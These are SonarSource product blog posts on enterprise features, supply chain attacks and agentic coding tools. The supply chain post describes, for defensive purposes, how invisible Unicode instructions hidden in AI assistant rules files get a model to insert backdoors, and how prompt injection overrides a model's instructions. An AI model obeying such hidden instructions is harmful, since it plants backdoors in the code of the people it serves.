Test with a small group first. Confirm that user creation, group assignment, and deprovisioning all behave as expected. Check that offboarded users no longer appear in SonarQube Cloud and that their tokens are gone.

4. Roll out to all relevant groups

Once validated, expand SCIM coverage to all engineering and security groups. From this point, SCIM is the standard way access SonarQube Cloud is managed — no manual steps required.

Learn more

SCIM setup documentation for SonarQube Cloud.
Community post

SonarQube Cloud Enterprise includes SSO, IP allowlists, audit logs, bring-your-own-key encryption (BYOK/CMK), and now SCIM. If you want to talk through whether these capabilities fit your environment, contact us.

Encryption with Customer-Managed Keys in SonarQube Cloud

Elena Vilchik — Tue, 14 Apr 2026 15:00:00 GMT

For our customers, SonarQube Cloud checks the boxes on features and performance - and now it's built to clear your security review too.

Encryption with Customer-managed keys (CMK), also known as Bring Your Own Key (BYOK) in SonarQube Cloud Enterprise is designed to achieve this: you can reap the benefits of our managed cloud service while retaining full ownership and control over the encryption keys protecting your source code at rest.

Why encryption with CMK matters for on‑premise customers considering the cloud

When we talk with self-managed customers who are hesitant to move to the cloud, we consistently hear three themes:

Regulatory and internal policies often require that encryption keys for proprietary source code remain under the company’s direct control.
Risk management and incident response processes assume security teams can rotate or revoke keys instantly, without depending on a vendor.
Audit and compliance teams want a clear, documented answer to “Who can do what with which keys, and where?”

Historically, this pushed many security-conscious organizations to stay on-premise, even when they would prefer the agility, reduced operational burden, and faster innovation cadence of SonarQube Cloud.

Encryption with CMK changes this trade-off: you can store your code in SonarQube Cloud, but the keys that protect it stay in your AWS account, governed by your own policies and controls.

What is CMK in SonarQube Cloud

At a high level, encryption with CMK delivers three core benefits for Enterprise customers:

1. Encrypt your code at rest with your own AWS KMS key

SonarQube Cloud already encrypts source code at rest using built-in AWS encryption, regardless of plan. With CMK, you add an extra layer of protection by configuring a Customer Managed Key in AWS Key Management Service (KMS) under your own AWS account.

Your source code is encrypted with keys under your control.
Encryption is scoped at the enterprise level, covering all projects in your SonarQube Cloud Enterprise.

2. Meet strict compliance and data-ownership requirements

Many frameworks and internal policies mandate that:

Encryption keys for sensitive intellectual property are managed and owned by the organization.
Third-party services get the minimum rights necessary to use those keys.

Encryption with CMK is specifically designed around those expectations:

You create and manage a symmetric CMK in your AWS KMS account, in the region matching your SonarQube Cloud instance.
SonarQube Cloud gets only least-privilege permissions (such as kms:GenerateDataKey, kms:Decrypt, and kms:ReEncrypt*) to use the key for encryption and decryption; it does not get administrative permissions over your key.

You stay in full control of who can administer, rotate, or revoke the CMK inside AWS KMS.

3. Control the key lifecycle and access to your code

Because the CMK lives in your AWS account, your security team can:

Rotate keys on your schedule, to align with security best practices.
Disable or revoke a key in case of an incident, blocking new KMS-backed decrypt operations.

This gives you a clean and powerful lever: if you don’t trust the environment anymore, you can use AWS KMS to cut off access to your data — without waiting on us to act.

How encryption with CMK works under the hood

Underneath, encryption with CMK uses a well-understood envelope encryption model with per‑project data keys. This provides strong security guarantees while keeping day‑to‑day performance smooth for developers.

1. Envelope encryption with AWS KMS

When you configure a CMK ARN in your SonarQube Cloud Enterprise settings, SonarQube Cloud uses that key through AWS KMS to protect project-specific data keys.

The flow looks like this:

You create the CMK in AWS KMS
- In your AWS account (and region matching your SonarQube Cloud instance), you create a symmetric CMK in AWS KMS.
- You update the key policy with a statement that grants the SonarQube Cloud AWS account the rights it needs (GenerateDataKey, Decrypt, ReEncrypt*, etc.).
You configure the CMK in SonarQube Cloud Enterprise
- As an Enterprise Administrator, you go to Your Enterprise → Administration → Code Encryption and enter the CMK ARN.
SonarQube Cloud generates per‑project Data Encryption Keys (DEKs)
- For each project, SonarQube Cloud requests a unique Data Encryption Key (DEK) from AWS KMS via the CMK.
- Using AES‑256, SonarQube Cloud encrypts your project’s source code with this DEK, this is the “inner” layer of envelope encryption.
- The DEK itself is then encrypted (“wrapped”) with your CMK and stored in SonarQube Cloud’s project configuration metadata.
Decrypting when needed
- When SonarQube Cloud needs to read code (for example, to display analysis results), it decrypts it using the project DEK, served from a short-lived cache or, if the cache has expired, decrypted from its encrypted form via AWS KMS using your CMK.
- If your CMK is disabled or revoked, those decrypt operations fail, and SonarQube Cloud can no longer access the encrypted code.

Throughout this process, you manage the CMK; SonarQube Cloud only performs encryption and decryption operations via AWS KMS and does not get broad administrative control over your keys.

2. Performance and key‑caching

To avoid hitting AWS KMS on every single read operation, SonarQube Cloud caches unencrypted project data keys for a short time. Project DEKs are cached in plaintext for up to 5 minutes to accelerate encryption and decryption and reduce the reliance on AWS KMS calls.

This keeps the system responsive for developers browsing issues or analysis results, without compromising the overall control you retain through your CMK and AWS KMS configuration.

3. Rotating your CMK without re‑encrypting all code

Key rotation is a critical part of any mature key management strategy, but naively re‑encrypting terabytes of source code is not practical.

Envelope encryption allows rotation to be efficient:

When you rotate the CMK, you provide a new key ARN in the Enterprise Code Encryption settings.
SonarQube Cloud uses the new CMK to re‑encrypt existing and future DEKs; the source code itself is not re‑encrypted.
During the rotation, both old and new CMKs must be enabled to ensure a smooth transition. After completion, you can disable the old CMK.

This design keeps rotation a fast, controlled operation while preserving strong security properties.

4. Incident response: revoking access to encrypted code

If a security incident occurs and you decide that access to code in SonarQube Cloud must be cut off:

Your security team can go to AWS KMS, locate the CMK, and Disable it.
Once disabled, AWS KMS will refuse decryption requests that use that key, which means SonarQube Cloud can no longer decrypt the stored code.

This gives you a clear and auditable control point fully inside your AWS account.

Why we designed encryption with CMK this way

Several design choices behind CMK are deliberate responses to what security and platform teams told us they need to see before approving a cloud move.

Least-privilege key model

We heard repeatedly that security teams are willing to let a SaaS use their keys, but only if:

The SaaS does not become a key administrator.
The SaaS has only the permissions strictly required for its function.

By relying on AWS KMS key policies and a least-privilege model (GenerateDataKey, Decrypt, ReEncrypt*, and related describe/grant actions), CMK ensures SonarQube Cloud can perform encryption and decryption, but cannot manage your keys, users, or broader KMS configuration.

Per‑project data keys and envelope encryption

Using unique DEKs per project with AES‑256 envelope encryption strikes a balance between security and operational efficiency:

It limits blast radius: even if a DEK were somehow exposed, it would only apply to a single project.
It enables fast key rotation: you can re-encrypt DEKs with a new CMK without touching the encrypted code itself.
It’s built on well-established cryptographic patterns, aligning with security best practices and making it easier for your teams to review and approve.

Enterprise‑level configuration and permissions

Code encryption is configured at the Enterprise level and can only be managed by users with Administer Enterprise permission. This matches how large organizations structure responsibilities:

Enterprise admins (often from a central platform or security team) own encryption strategy.
Individual project or organization admins don’t have to manage keys directly.
Governance and auditing become simpler, because there is a single, enterprise-wide point of control.

Ultimately, Customer Managed Keys are the bridge between the operational benefits of SonarQube Cloud and the risk posture your organization requires.

If you want to go deeper into configuration details, and operational procedures, you can find them in the official Code encryption documentation for SonarQube Cloud.

Sources

SonarQube Cloud | Code encryption

Automatic analysis for Azure DevOps is here

Andrew Osborne — Mon, 13 Apr 2026 15:00:00 GMT

TLDR overview

Automatic analysis for Azure DevOps is a zero-configuration SonarQube Cloud feature that analyzes code directly from repositories without requiring CI pipeline setup or YAML editing.
The tool identifies bugs, vulnerabilities, and security hotspots across 20+ languages, including C/C++, Java, JavaScript/TypeScript, .NET, and Python, by triggering scans automatically on every push or pull request.
A great way to get started, this solution eliminates manual friction like service connections, providing a fast path to initial code quality insights for teams with standard build environments, and delivering a zero configuration code analysis.
While ideal for speed, CI-based analysis remains the recommended long term approach.

We are excited to share that automatic analysis is now available for Azure DevOps repositories on SonarQube Cloud.

Automatic analysis is a zero-configuration feature that lets SonarQube Cloud analyze your code directly from your repository - no CI pipeline setup required. Once you import a project, the platform checks eligibility, triggers the first analysis automatically, and continues to re-run it on every push to the default branch and on every pull request. For teams that want to start seeing code quality and security findings without touching their build configuration, it is the fastest path to results SonarQube Cloud offers.

Until now, this experience was only available for GitHub repositories. It is now available for Azure DevOps as well, delivering zero configuration code analysis and rapid access to actionable insights.

The problem it solves

Getting SonarQube Cloud running on an Azure DevOps repository using CI can feel tedious. You have to set up a SonarQube Service Connection in Azure DevOps, configure a CI/CD pipeline to include the analysis step, and ensure your build configuration is correct before seeing a single finding. For teams evaluating the product or with less established CI/CD practices, that setup is often enough friction to stall onboarding entirely.

Automatic analysis skips CI setup and makes it a lot easier. You connect your Azure DevOps organization, select your repositories, and SonarQube Cloud analyzes your code directly — no pipeline changes, no YAML editing, no service connection required. The platform reads your code straight from the repository, triggers the first analysis automatically, and re-runs it on every push to the default branch and on every pull request.

That is what zero configuration actually means in practice.

When to use automatic analysis versus CI based analysis

Automatic analysis is designed to get you to actionable insights as fast as possible. That said, it is worth understanding what it covers and where it has limits.

What it covers, in a nutshell:

Analysis of the default branch and all pull requests, triggered automatically on every push
Support for over 20 programming languages, including C/C++, Java, JavaScript, TypeScript, C#, .NET, and Python.

Where CI-based analysis is the better fit:

In general, and as your project matures into a complex, high-requirement production codebase, advancing to a CI-based analysis is the recommended approach.

For more details, check the automatic analysis documentation.

How to get started

For new projects:

Go to SonarQube Cloud and connect your Azure DevOps organization. When generating your Azure PAT, make sure Analytics > Read is selected under Show all scopes.
Import the repositories you want to analyze.
For eligible repositories, automatic analysis starts immediately — no further configuration needed.
Results appear on the default branch and active pull requests shortly after import.

Existing CI-based projects are unaffected. They continue to run as before.

The bottom line

Start with automatic analysis for instant results, and switch to a CI-based workflow as your project matures into a complex, high-requirement production codebase.

For setup details and the full list of supported languages, please refer to the documentation.

Why your supply chain attack surface is expanding

Manish Kapur — Tue, 07 Apr 2026 15:00:00 GMT

TLDR overview

Supply chain attacks exploit open source dependencies, CI/CD pipelines, and AI tools to inject malicious code and steal credentials. Recent breaches involving Trivy, KICS, LiteLLM, and Axios show how one misconfigured workflow can cascade into millions of backdoored downstream installs.
SonarQube Advanced Security mitigates such attacks at the developer workflow — detecting malicious packages, exposed secrets, and CI/CD misconfigurations before they move downstream. It includes SCA to identify vulnerable and malicious dependencies, plus CI/CD misconfiguration detection that standard vulnerability scanning misses.
AI coding tools add new supply chain risk: hidden Unicode instructions in assistant config files can silently backdoor AI-generated code, and agents like Claude Code can inadvertently leak credentials to LLM providers. SonarQube detects both.

March 2026 has been a brutal month for open source trust.

In the span of eight days, a threat group called TeamPCP quietly pulled off one of the most sophisticated coordinated supply chain campaigns the industry has seen. First, they compromised Trivy (a widely used open-source vulnerability scanner) by exploiting a misconfigured GitHub Actions workflow to steal CI/CD pipeline secrets.

Then, because LiteLLM's build pipeline ran Trivy without pinning to a specific version, those stolen credentials became the key that unlocked LiteLLM's PyPI publishing account. Within hours, two backdoored versions of the AI gateway library (used by 95 million downloads a month) were live, silently harvesting SSH keys, cloud credentials, Kubernetes tokens, and database passwords from any environment that installed them.

And then, just days later, a separate attacker compromised a maintainer account for Axios and published two malicious versions containing a fully featured remote access trojan. Axios is JavaScript's most popular HTTP client, present in roughly 80% of cloud environments.

March 2026 was a wake up call for anyone who thinks software supply chain security begins and ends with CVEs. Over the course of a few days attackers compromised trusted tooling, abused build pipelines, and pushed malicious code through ecosystems that millions of developers rely on. The real lesson is bigger than any one incident : your attack surface now includes every dependency you import, every pipeline secret you expose, and every AI tool your software developers trust.

How supply chain attacks cascade

The most dangerous supply chain attacks are not random, they are designed to cascade. They follow a deliberate logic that exploits the way most software teams operate.

Step 1: Find a weak link in the supply chain. An attacker starts with a weak link: a misconfigured CI/CD workflow, a stale maintainer account with a weak password, a package that runs without version pinning in another project's build process. Any of these is enough to get a foothold.

Step 2: Use that foothold to reach a bigger target. Compromising one component can create access to thousands of downstream builds, releases and environments. TeamPCP didn't just want Trivy users, they were after the thousands of projects that run Trivy inside their own pipelines. Compromise the scanner, steal the credentials, publish backdoored versions of whatever the scanner is building. This is the "cascading" part of a cascading supply chain attack.

Step 3: Make the malicious package look legitimate. This is what makes these attacks so hard to catch; the malicious package still appears to work, the scanner still scans. The backdoored LiteLLM versions still functioned as expected. The poisoned Trivy action still ran scans. The malicious Axios releases passed automated tests. The attack was designed to be invisible to anything that only checks whether software works, not whether software is safe.

This is the fundamental problem with how most teams evaluate their dependencies: functionality is a poor proxy for security.

There is also a newer class of attack that takes this logic one step further — targeting not just what your application runs, but what your developers use to write it.

Why does traditional AppSec miss modern supply chain attacks?

Most teams already run a vulnerability scanner in CI, check for known CVEs, or rely on a package registry's reputation signals. These controls still matter — but they address a different problem.

CVE databases are built to track bugs in legitimate code. That creates two gaps. First, there is an inherent lag: it typically takes days to weeks from discovery to a scored, scannable CVE entry. During that window you are exposed even with continuous scanning. Second, and more importantly, CVE databases don't cover malicious packages at all. A package intentionally written to steal credentials or persist a backdoor may have no CVE, a clean version history, and a seemingly trusted publisher. The Axios attack made this concrete — the attacker pre-staged the payload under a clean package name (plain-crypto-js), double-obfuscated the dropper, and targeted Windows, macOS, and Linux. Nothing in any CVE database would have flagged it.

The other blind spot is your own code. Supply chain attacks frequently succeed because application code passes unsanitized data from a compromised package straight into a sensitive operation — a database call, an authentication check, an API endpoint. Detecting the malicious package is necessary but not sufficient if the code around it amplifies the damage.

How SonarQube Advanced Security helps secure your supply chain

If the software supply chain is now the attack surface, then securing it requires more than one control. It requires protecting three layers at once: what you consume, what builds your software, and what helps write your code.

That is where SonarQube Advanced Security changes the equation. Rather than treating supply chain security as a downstream audit, it brings these protections into the software developer workflow. Where teams can prevent compromised components and unsafe code from moving forward in the first place.

Malicious package detection. This is the capability that directly addresses what happened with LiteLLM and Axios. SonarQube Advanced Security checks your third-party dependencies against a continuously updated database of known malicious packages — not just packages with CVEs, but packages confirmed to contain intentional malware, backdoors, or credential stealers. When a malicious package is detected, it is surfaced as a critical issue, not just a low-severity warning, and your quality gate fails.

One important caveat: a quality gate runs alongside the build pipeline, not before it. A failing gate blocks merging or releasing — it does not prevent the build runner or a developer's local machine from having already executed the dependency. Any environment that pulled the package should be treated as potentially compromised and credentials rotated regardless. What detection gives you is two things: it stops the blast radius from spreading to production and downstream environments, and it gives you an immediate signal to start your incident response.

Secrets detection. TeamPCP's entire strategy depended on being able to steal secrets from CI/CD environments. SonarQube detects accidentally committed secrets — API keys, tokens, cloud credentials, database passwords — at two points: directly in your IDE via SonarQube for IDE before the code is ever committed, and again in the CI/CD pipeline as a second check. Hundreds of detection patterns cover all major cloud providers and services. The IDE check is the critical one — by the time a secret reaches a git commit, it may already be in a pull request, a code review, or a branch that will be cloned by others. Had secrets been detected and rotated before they were exposed in Trivy's pipeline, the cascade to LiteLLM may have stopped at the first step.

Software composition analysis (SCA). Beyond malicious packages, SonarQube's SCA identifies public vulnerabilities in both your direct dependencies and your transitive ones — the packages that your packages depend on, which is often where the real risk lives.

When a vulnerability does require action, SonarQube provides a specific fix recommendation (the exact version to upgrade to) rather than leaving your team to figure out remediation on their own. Sonar also partners directly with select open source maintainers to validate vulnerabilities, including guidance on whether a finding is a genuine risk or a false positive in typical usage scenarios. You also get automated license compliance checking, so a dependency with a license that conflicts with your distribution model gets flagged before it becomes a legal problem.

SBOM generation. You cannot protect what you cannot see. SonarQube Advanced Security generates and maintains a Software Bill of Materials for your applications in standard formats, including CycloneDX — a precise, exportable inventory of every dependency in your software, the version in use, and its current security status. This is increasingly required for regulatory compliance (including US Executive Order 14028 and EU Cyber Resilience Act requirements), and it's the foundation for any credible supply chain security program.

Advanced SAST with cross-boundary taint analysis. This is what separates Advanced Security from standard static code analysis. Standard SAST traces data flows within your own code. Advanced SAST is dependency-aware analysis that traces data flows across the boundary between your code and third-party libraries — catching vulnerabilities that only emerge from the specific way your code interacts with external packages. If a compromised dependency introduces a tainted data source, and your code passes that data into a sensitive sink, Advanced SAST will find it. The analysis works cross-file and cross-function, which is how real applications are actually structured.

CI/CD pipeline misconfiguration detection. The Trivy attack did not begin with a malicious package or a compromised dependency — it began with a misconfigured GitHub Actions workflow. A pull_request_target workflow that ran with write permissions on untrusted code gave an automated bot the opening it needed to dump runner memory and extract the aqua-bot PAT. This class of vulnerability is something SonarQube detects directly. SonarQube scans for GitHub Actions workflows covering the security best practices most commonly violated in real pipelines — unpinned external actions, overly permissive workflow triggers, script injection vectors, and more. It also scans Azure Pipelines, including detection of script injection vulnerabilities, parameter injection attacks, external task invocations without a pinned version, and shell script execution during package installation. These misconfigurations are the entry points attackers look for first. Finding them in your pipeline definitions before an attacker does closes the door before the cascade begins.

Findings in pull requests. All of these signals — malicious packages, vulnerable dependencies, secrets, taint analysis findings — are surfaced directly in pull request comments. Developers do not need to switch to a separate dashboard or wait for a security team to triage a report. The feedback arrives in the same place the code review is happening, at the moment when a developer is already thinking about that specific change.

The attack surfaces that most teams haven't thought about yet

Package registries and CI/CD pipelines are not the only targets. There is a growing category of supply chain attack that goes after the AI coding tools your developers use every day.

Rules file backdoor detection. AI coding assistants like GitHub Copilot and Cursor operate based on instruction files that developers (and projects) maintain to define coding standards and behavior: files like .cursorrules, .mdc, .windsurfrules, .clinerules, and .github/copilot-instructions.md. Researchers at Pillar Security disclosed in early 2025 that attackers can weaponize these files by embedding malicious instructions using invisible Unicode characters — specifically characters from the Unicode Tag block (range U+E0000 to U+E007F). These characters are completely invisible to a human reading the file, but an LLM processes them as normal text and follows the instructions they contain. A poisoned rules file can silently instruct the AI to insert backdoors, weaken cryptography, or introduce hardcoded credentials into every piece of code it generates — and the attack survives project forking, spreading to any team that clones or forks the repository.

SonarQube has rules that specifically detect these hidden Unicode sequences in AI coding assistant configuration files and any file that could influence AI code generation. The same files that developers typically gloss over in a code review are now subject to the same analysis as source code. When a suspicious pattern is detected, it is flagged before any developer's next AI-assisted coding session.

Secret leakage through AI coding agents. There is a subtler threat that most teams have not thought through yet. AI coding tools like Claude Code function by scanning your local environment to build context for their suggestions — and that means they can inadvertently ingest active session tokens, API keys, database credentials, and .env files, then send that sensitive data to an LLM provider's servers as part of the prompt. Those secrets are then persisted in the provider's gateway request logs, often in plain text. It is no longer a local mistake; it is an enterprise liability sitting in an external log file.

The recently released SonarQube CLI addresses this directly. It integrates with Claude Code as a mandatory pre-capture hook, scanning every code snippet the agent produces in real time before it leaves the local environment. With a processing time under 100ms per file and a false positive rate below 5%, it operates as a continuous security perimeter around the agentic coding workflow — intercepting secrets before they ever reach an LLM provider.

Prompt injection in application code. A separate but related risk applies to applications that call LLM APIs directly — AI gateways, chatbots, RAG pipelines, agent frameworks. If your application passes unsanitized external input (from a user, a document, a database field) into a prompt without validation, an attacker can craft that input to override the prompt's instructions and cause the model to behave in unintended ways. This is OWASP's LLM01:2025, prompt injection, and it is now one of the most commonly exploited vulnerabilities in AI-integrated applications. SonarQube's taint analysis engine traces data flows from untrusted external sources through your application code to LLM API calls — the same cross-function, cross-file analysis used for SQL injection and XSS detection, applied to the AI layer of your application.

Make the quality gate your supply chain control point

All of these capabilities are most powerful when they are backed by a quality gate that is configured to enforce policy.

A quality gate in SonarQube is a pass/fail policy applied to every scan. You define what counts as acceptable: no critical vulnerabilities, no malicious packages, no exposed secrets, no license violations. When a scan finds something outside those boundaries, the build fails and nothing moves forward. A quality gate is not a dashboard for later review. It is the enforcement point inside the developer workflow, at the moment when the risk is cheapest to fix and easiest to contain.

The Axios attack window was approximately three hours between the malicious packages going live on npm and being removed. A quality gate guarantees that the moment a malicious package is flagged, every pipeline that encounters it stops automatically — no alert to catch, no ticket to triage, no policy to update manually. The caveat is that this protection only kicks in once the package appears in threat intelligence feeds, and there is always some lag between publication and confirmed detection. The goal is to minimize that window and ensure the response is automatic when it closes.

A different way to think about this

The attacks this month are a symptom of a deeper assumption the industry has been getting wrong: that open source packages are essentially trustworthy until proven otherwise, and that security is something you add on top of a working software delivery process.

Supply chain attacks invert that assumption. The modern threat is not limited to the code your developers write. It is in everything your software touches. Every dependency is a potential vector. Every CI/CD secret is a potential key. Every unreviewed package update is a potential backdoor.

SonarQube Advanced Security does not make this problem disappear completely. But it does mean that every scan, every pull request, every pipeline run is checking not just whether your code works, but whether it is safe. The code security solution scans your own code, your dependencies, your secrets, your licenses, your AI configuration files, and the data flows into your AI-integrated services.

That is the shift the industry needs to make. And it needs to happen inside the developer workflow, not downstream in a security audit six weeks after you’re exposed.

Interested in seeing SonarQube Advanced Security in action? Visit sonarsource.com/products/sonarqube/advanced-security to learn more.

Interested in learning more about software supply chain security. Visit https://www.sonarsource.com/solutions/software-supply-chain-security/

An architecture review of GCToolkit with SonarQube

Chris Chedgey — Thu, 02 Apr 2026 15:00:00 GMT

As part of building the new architecture management capability in SonarQube, I spent numerous hours playing with the new product on OSS projects, to test, dogfood, and demo. One of my favorite projects for this is GCToolkit from Microsoft, with which I developed such familiarity that I thought I should share an architecture review of it.

Microsoft GCToolKit is a set of libraries built to analyze HotSpot Java garbage collection (GC) log files. While it is a "smallish" project, it is dense enough to exhibit meaningful structural insights. Let me share how I have used SonarQube to get some deep structural insights, and some changes that could be made to the architecture of this project, to make it more understandable and modular.

At the top level

At a glance, I can see that this java project has 5 modules, because there are 5 boxes that feature the module icon.

Because I can interpret the layouts, I know that the four modules on the left don’t use each other (they are in the same column), but they all use the API module on the right.

The API module on the right is pretty fat, and deserves a closer look to understand what is in it, and whether it could/should be split. Its square shape, and the large amount of whitespace at the bottom left indicate that the top row of components has a strong coupling, while vertical components have no coupling at all. That makes me want to see if the structure could be easily changed to encapsulate more of the structural intent, making it easier to understand and more modular than the current monolith.

Digging inside the monolith

Let’s take a closer look at the internals of the gctoolkit-api module. I first examine the relationships for that chain across the top, selecting each of the packages in turn to see what they depend on:

A clear pattern is common to all the packages in the chain:

Each is dependent on the others in the chain. This includes cyclic “feedback” dependencies (the looping lines indicate right-to-left direction). This means they are tightly coupled and are not candidates for extraction—they belong together.
None of them directly uses that deep vertical column. Rather, they bypass it and use only the classes to its right. This means that the horizontal and vertical subsets are candidates for separation. In other words, they do not use each other.

There is however one exception to this pattern that stands out:

There is a feedback dependency from G1Trap on the right to Aggregator on the left. I suspect this outlier is unintentional. It is the kind of 'drift' that often happens when the established flow of dependencies isn’t visible during the daily flow of development. Perhaps the reference from G1Trap to Aggregator is accidental, or G1Trap is misplaced and should be located in a package to the left?

Overall it means that, should we sort out the exception, here is the architecture of the monolith:

Proposed refinement

Placing these groups into separate modules would reinforce this independence and reduce the module size discrepancy. This new structure could be controlled with an intended architecture model like this:

The original gctoolkit-api module would retain just the horizontal chain, a new gctoolkit-event module would contain the vertical column, and a new gctoolkit-utils would contain the collection of classes used by both.

If we do not first solve the exception, this modified structure would raise a deviation issue for the feedback dependency we spotted earlier, and prevent any further accidental relationships from being created. It would also help the developer understand the architecture, greasing the wheels of ongoing development.

And that’s my architectural review of GC Toolkit with SonarQube. In conclusion, using high-level structure, the shape of components, and their relationship, I was able to understand the intended architecture of the project, and see some drifting that happened. The next step would be to declare the intended architecture to make sure there is no further drifting. That’s it for today, folks.

The future of software development is AC/DC

Manish Kapur — Tue, 31 Mar 2026 15:00:00 GMT

TL;DR overview

Today we are announcing open beta of three new products: Sonar Context Augmentation, SonarQube Agentic Analysis, and SonarQube Remediation Agent.
All three capabilities are available in open beta and are free during the beta period. They can be enabled using the administration interface.
These three betas deliver critical capabilities aligned to our Guide-Verify-Solve framework.
Read on for the complete story on how these betas work together to power agent-driven development.

AI agents are writing more code than ever before. As developers lean in with coding tools like Cursor, Claude Code, Codex, Gemini, and GitHub Copilot, they can now enlist AI agents to do in minutes what used to take hours or weeks.

We know that agents inherently generate a lot of code…and with it, a lot of issues. Pull requests that used to be 300 lines are now 3,000, and tomorrow might be 300,000.

The verbose, complex code that agents most often write can be harder to verify and maintain. Agents sometimes behave unpredictably and create unnecessary code. And in addition, they are often flying architecturally blind, silently violating structural boundaries and accumulating technical debt.

Independent, peer-reviewed academic research from Carnegie-Mellon University studied 807 open source projects that had adopted Cursor, and measured the impact on code quality using SonarQube. The study found that agent usage caused a temporary coding velocity spike, but it disappeared by the third month of usage. More disturbingly, agent usage caused a significant and persistent increase in code analysis warnings (+30%) and code complexity (+41%), which resulted in a longer term slowdown in development velocity.

AI agent coding tools are extraordinary and powerful innovations that are reinventing the way software is built. But for organizations to take full advantage of their potential to actually improve coding velocity, they’ll need a new approach to AI code trust and verification.

The Agent Centric Development Cycle

We recently introduced a new framework for software development in the age of AI: the Agent Centric Development Cycle, or AC/DC. At its core, AC/DC defines three continuous stages surrounding AI code generation: Guide → Verify → Solve

At the center is the AI agent generating code—that's its job. Sonar's role is everything around it: the independent, agent-agnostic layer that ensures what gets generated is trustworthy.

Guide. Before an agent writes a single line of code, it needs to understand the playing field — your standards, your architecture, your constraints, your compliance requirements. Without this, you're asking an agent to play a game without knowing the rules. Everything that follows reflects the quality of this guidance.
Verify. This is where deterministic-first, transparent, and multi-layered verification ensures the generated code meets your functional, non-functional, and compliance standards before it goes anywhere. This is the stage that breaks down most often—and the consequences can be dire.
Solve. Issues identified in Verify are fed back to specialized repair agents to fix. And those lessons feed back into Guide, making the next iteration better. The cycle is self-improving.

If you want the full picture on AC/DC, our CEO Tariq Shaukat laid it out in detail here.

Today's announcement is about what Sonar has built to bring the Agent Centric Development Cycle to life.

Guide: Sonar Context Augmentation

The problem: AI coding agents work in a vacuum. They don’t automatically know your team’s coding standards, your codebase’s architecture, or where the constraints and boundaries are. The result is code that works in isolation but breaks things when it’s integrated—leading to rework, frustration, and higher costs.

What it does: Sonar Context Augmentation bridges that gap by injecting real-time, project-specific dynamic context from SonarQube directly into your AI agent’s workflow. Before the agent writes a line of code, it understands the playing field: the most relevant guidelines for the files it’s working with, the structure of your codebase, and the patterns it should follow.

This isn’t about dumping every rule into the agent’s context. Context Augmentation is smart about it—surfacing only the guidelines that are relevant to the task at hand, so agents get cleaner signals and less noise.

The results from our early benchmarks are striking: An increase in build pass rates, increase in test pass rates, a significant reduction in code duplication, and a drop in cognitive complexity. Agents also use fewer tool calls and consume fewer tokens, which means lower operating costs.

Learn more →

Verify: SonarQube Agentic Analysis

The problem: Typically, a developer only finds out that an AI-generated PR is broken when the quality gate fails—hours after the code was written. By then, fixing it is slow and costly. Standard code checkers don’t catch the kinds of deep, cross-file issues that SonarQube is built to find.

What it does: SonarQube Agentic Analysis brings Sonar’s trusted code analysis engine directly into the AI agent’s generation loop. Rather than waiting until a developer reviews the pull request, the agent can ask SonarQube to check its work in real time, as the code is being written.

If the agent’s suggestion contains a security risk, a logic error, or a maintainability problem, Agentic Analysis catches it immediately. The agent sees the issue, corrects it, and moves on—before a human ever has to review it.

This is a meaningful shift: errors are caught at the source, not hours downstream. Software developers stay focused on code design and architecture, rather than acting as manual gatekeepers cleaning up AI mistakes.

Learn more →

Solve: SonarQube Remediation Agent

The problem: Finding a code issue is only half the job. Once Verify surfaces a problem, someone—or something—has to fix it. Today, that falls on software developers. It’s manual, repetitive, and pulls focus away from building new features.

What it does: The SonarQube Remediation Agent closes the loop in two ways—and the second one is where it really changes the game.

For new code, it steps in the moment SonarQube flags an issue in a pull request, generating a fix before a developer has to chase it down.

For your backlog, it operates at a different scale entirely. Every codebase carries accumulated weight—security vulnerabilities, reliability gaps, maintainability problems that teams acknowledge but never quite clear. The Remediation Agent works through that backlog systematically, opening one pull request per issue so developers can review and merge each fix on their own terms. Years of technical debt, tackled without a dedicated cleanup sprint.

In both cases, the agent doesn't trust its own output. Every fix is re-scanned using Sonar's analysis engine to confirm it resolves the original issue without introducing new ones. Only verified fixes reach the developer—as ready-to-review pull requests, never forced changes.

Learn more →

Three products, one continuous loop

Guide, Verify, Solve. These aren’t three separate tools bolted together — they’re three parts of a connected system designed to work in concert.

Sonar Context Augmentation sets agents up for success before they start. SonarQube Agentic Analysis keeps them honest as they work. And the SonarQube Remediation Agent fixes what they get wrong. Together, they make the Agent Centric Development Cycle a practical reality—not just a framework on a slide.

And they are just the beginning.

All three products are now available in open beta for SonarQube Cloud Teams and Enterprise annual plan customers, free to use during the beta period.

Ready to get started? Explore the individual product posts below, or visit docs.sonarsource.com to dive in today.

Sonar Context Augmentation

SonarQube Agentic Analysis

SonarQube Remediation Agent

SonarQube Agentic Analysis: Verify AI code as it is generated

Prasenjit Sarkar — Tue, 31 Mar 2026 15:00:00 GMT

Update — March 2026: This article was originally published on March 3rd, 2026, when we launched the closed beta of SonarQube Agentic Analysis for Enterprise customers. We are now announcing the open beta—expanding access to all SonarQube Cloud Teams and Enterprise plan customers.

TL;DR overview

SonarQube Agentic Analysis is a beta service that brings trusted SonarQube analysis directly into AI coding agents' workflows, enabling agents to verify code in real time as it is generated.
Integrated via the SonarQube MCP Server, the agent can "ask" SonarQube to check its work—catching security risks and logic errors before a developer ever reviews a pull request.
The service automatically applies existing SonarQube quality profiles to AI-generated code, removing the need to manually teach agents company-specific rules.
Currently available for SonarQube Cloud Enterprise Plan users, supporting Java, JavaScript/TypeScript, and Python, with .NET, C/C++, secrets detection, and IaC domains coming soon.

The agentic era needs a new development cycle

AI agents are generating code faster than the processes built to govern it. Speed without guardrails creates risk — and code that isn't reliable, secure, and maintainable is a liability regardless of who wrote it.

To address this, Sonar introduced the Agent Centric Development Cycle (AC/DC) — a framework built for the age of AI, with four continuous stages: Guide → Generate → Verify → Solve. The SonarQube Agentic Analysis is Sonar's solution to the Verify stage.

How SonarQube Agentic Analysis works

Agentic Analysis connects your AI coding tool to SonarQube’s systematic analysis engine used in your final code reviews. Integrated within the SonarQube MCP Server, your AI agent can now "ask" SonarQube to check its work in real-time.

If the AI suggests code that is functional but contains a security risk or a logic error, Agentic Analysis identifies that mistake quickly. This allows the agent to see its own error and fix it before a human developer reviews it.

Why Agentic Analysis matters

Fix mistakes at the source: Instead of a developer finding errors in a Pull Request hours after they were written, the AI finds and corrects its own mistakes while it is still writing.
Beyond basic checkers: Standard code checkers (linters) usually look at only one file at a time, missing bugs that require an understanding of the wider codebase. Agentic Analysis uses full project context to find these deeper issues.
Automatic standards: You don’t have to manually teach every AI agent your company's specific coding rules. Agentic Analysis automatically applies your existing SonarQube quality profiles to the AI’s work.
Stay in the flow: Developers can spend their time solving problems and reviewing logic, rather than acting as manual gatekeepers who have to fix AI generated issues.

